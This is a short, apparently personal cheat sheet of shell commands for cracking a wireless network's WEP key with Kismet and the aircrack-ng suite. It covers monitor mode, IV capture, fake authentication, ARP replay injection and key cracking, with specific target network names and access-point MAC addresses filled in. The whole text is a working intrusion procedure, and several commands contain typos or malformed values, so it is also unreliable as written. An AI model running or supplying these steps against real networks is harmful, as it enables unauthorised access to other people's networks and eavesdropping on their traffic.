iwconfig
cd /user/local/etc
vim kismet.conf
find "source=" then change as follows:source=<wireless-driver>,<wireless-name>,<channel>
finally input cammand:kismet,then show shell-kosole ,press "s" and "c",so you can select item.
<ap_essid>:EASIER-WIRELESS-EX,WHOME
<ap_bssid>:00:15:E9:07:B0:AE,00:14:78:63:19:E4
<channel>:6
<wireless-driver>:ipwraw,RT73
<wireless-name>:wifi0,rausb0
<wireless-bssid>:00:18-DE:81:67:DE,00:1D:0F:01:C6:F8
1.modprobe -r iwl3945
modprobe <wireless-driver>
2.Change to monitor mode airmon-ng
airmon-ng start <wireless-name>
3.capture only channel 6,WEP IVs attention:<channel> must be pair others' channel
airodump-ng <wireless-name> -c <channel> --bssid <ap_bssid> --ivs -w dump
4.fack authentication
aireplay-ng -10 -e <ap_essid> -a <ap_bssid> -h <wireless-bssid> <wireless-name>
5.send packets as following
aireplay-ng -3 -b <ap_bssid> -h <wireless-bssid> -x 600 <wireless-name>
6.crack
aircrack-ng -x -0 *.ivs